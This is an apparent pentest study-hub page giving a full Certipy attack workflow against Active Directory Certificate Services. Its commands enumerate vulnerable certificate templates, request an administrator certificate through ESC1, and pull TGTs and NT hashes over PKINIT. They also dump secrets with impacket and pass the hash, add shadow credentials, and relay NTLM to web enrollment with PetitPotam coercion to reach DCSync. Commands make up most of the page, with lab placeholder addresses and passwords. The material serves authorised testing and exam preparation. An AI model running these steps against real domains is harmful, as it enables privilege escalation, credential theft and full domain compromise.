← Research Hub
Active Directory

Certipy Complete Guide

Full Certipy workflow covering all subcommands β€” find, req, auth, shadow, relay, forge β€” with real-world output examples and PKINIT authentication.

Installation

pip3 install certipy-ad
# Or from source for latest version:
git clone https://github.com/ly4k/Certipy && cd Certipy
pip3 install .

# Verify
certipy --version

certipy find β€” Enumerate AD CS

# Find all CA info and vulnerable templates
certipy find -u 'jdoe@corp.local' -p 'Password1!' -dc-ip 10.10.10.5

# Show only vulnerable findings (cleaner output)
certipy find -u 'jdoe@corp.local' -p 'Password1!' -dc-ip 10.10.10.5 -vulnerable -stdout

# Save output to files (default: saves .json + .txt in current directory)
certipy find -u 'jdoe@corp.local' -p 'Password1!' -dc-ip 10.10.10.5
# β†’ creates corp.local_Certipy.json and corp.local_Certipy.txt

# Key output fields to look for:
# - "Enabled": true (template must be enabled)
# - "Client Authentication": true (EKU must support auth)
# - "Enrollee Supplies Subject": true (ESC1)
# - "[!] Vulnerabilities" section = confirmed ESC

certipy req β€” Request Certificate

# Basic request (use a template you're enrolled in)
certipy req -u 'jdoe@corp.local' -p 'Password1!' \
  -ca 'CORP-CA' -template 'User' -dc-ip 10.10.10.5

# ESC1 β€” supply arbitrary UPN in SAN
certipy req -u 'jdoe@corp.local' -p 'Password1!' \
  -ca 'CORP-CA' -template 'VulnTemplate' \
  -upn 'administrator@corp.local' -dc-ip 10.10.10.5
# Output: administrator.pfx

# Using NTLM hash instead of password
certipy req -u 'jdoe@corp.local' -hashes :aad3b435...: \
  -ca 'CORP-CA' -template 'User' -dc-ip 10.10.10.5

# Request for specific DNS name (some ESC variants)
certipy req -u 'jdoe@corp.local' -p 'Password1!' \
  -ca 'CORP-CA' -template 'VulnTemplate' \
  -dns 'dc01.corp.local' -dc-ip 10.10.10.5

certipy auth β€” Authenticate with Certificate

# PKINIT authentication β†’ get TGT + NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5

# Output:
# [*] Got hash for 'administrator@corp.local': aad3b435b51404ee:8f617b...
# [*] Saved TGT to 'administrator.ccache'

# Use TGT for Kerberos operations
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@dc01.corp.local

# Use NT hash for PTH
impacket-wmiexec corp.local/administrator@10.10.10.5 -hashes :8f617b...

certipy shadow β€” Shadow Credentials

# Add shadow credentials to a user/computer you have write access to
certipy shadow auto -u 'jdoe@corp.local' -p 'Password1!' \
  -account 'targetuser' -dc-ip 10.10.10.5
# Output: NT hash of targetuser

# Manual steps:
# 1. Add key credentials
certipy shadow add -u 'jdoe@corp.local' -p 'Password1!' \
  -account 'targetuser' -dc-ip 10.10.10.5

# 2. Authenticate with generated cert
certipy auth -pfx targetuser.pfx -dc-ip 10.10.10.5

# 3. Clean up (remove the key credential)
certipy shadow remove -u 'jdoe@corp.local' -p 'Password1!' \
  -account 'targetuser' -device-id <UUID from add step> -dc-ip 10.10.10.5

certipy relay β€” NTLM Relay to AD CS

# Relay NTLM auth to AD CS web enrollment (ESC8)
# Run alongside Responder (SMB=Off, HTTP=Off)
certipy relay -ca 10.10.10.5 -template DomainController

# Combined with PetitPotam to coerce DC auth:
python3 PetitPotam.py -u 'jdoe' -p 'Password1!' KALI_IP DC_IP

# Output: dc01.pfx β†’ use with certipy auth to get DC hash β†’ DCSync

Exam Tips

  • Run certipy find -vulnerable -stdout immediately after getting any domain credentials
  • The pfx file contains both cert and private key β€” guard it, it's equivalent to a password
  • If PKINIT fails with KDC_ERR_PADATA_TYPE_NOSUPP, the DC doesn't support PKINIT β€” try -ldap-shell mode
  • Use certipy account create to create machine accounts for RBCD without impacket-addcomputer
  • After exam, revoke any certificates you requested: certipy ca -revoke <serial>